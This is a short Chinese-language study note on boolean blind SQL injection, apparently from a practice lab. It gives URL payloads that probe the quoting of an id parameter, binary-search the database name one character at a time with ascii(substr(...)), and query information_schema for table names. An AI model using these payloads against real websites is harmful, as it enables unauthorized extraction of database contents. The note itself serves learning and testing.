盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行sql注入
盲注分类:布尔盲注、时间盲注、报错盲注
?id=1' and1=1 --+
?id=1' and1=2 --+
布尔注入:web页面只返回true真,false假俩种类型。利用页面返回不同,逐个猜解数据
查询命令可以执行但是不会返回,使用ascii()函数把字符转变为ascii表对应的数字
substr((),)函数,substr((batabase()),1,1)
substr(数据库/字符串,输出第一个字符,一次输出一个字符)
?id=1' and ascii(substr((select database()),1,1))>=100 --+
猜第一个是那个字符
id=1' and ascii(substr((select database()),1,1))>=110--+
?id=1' and ascii(substr((select database()),1,1))>=120--+
说明第一个字符就在110-120之间
?id=1' and ascii(substr((select database()),1,1))>=115--+
id=1' and ascii(substr((select database()),1,1))>=117--+
115-117之间
?id=1' and ascii(substr((select database()),1,1))>=116--+
说明只能是115
?id=1' and ascii(substr((select database()),1,1))=115--+
对应ascii表是s
第二个字符一样的
substr((select database()),2,1)
substr((),第二个字符开始,一次输出一个字符)
(不想写)
?id=1' and ascii(substr((select database()),2,1))>=100--+
查询数据库的表
select table_name from information_schema.tables where table_schema=database() limit 0,1;
limit 0,1 表示从第0行开始,显示1行(从0开始计数)
substr((),1,1) 表示从第1个字母开始,显示1个字母(从1开始计数)
select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1);
?id=1' ->页面为假 ?id=1' --+ ->页面为真
?id=1''->页面为真 ?id=1'' --+ ->页面为真
可以判断出语句里面是单引号,排除双引号
?id') ->页面为假 ?id=1' ->页面为假
排除单引号加括号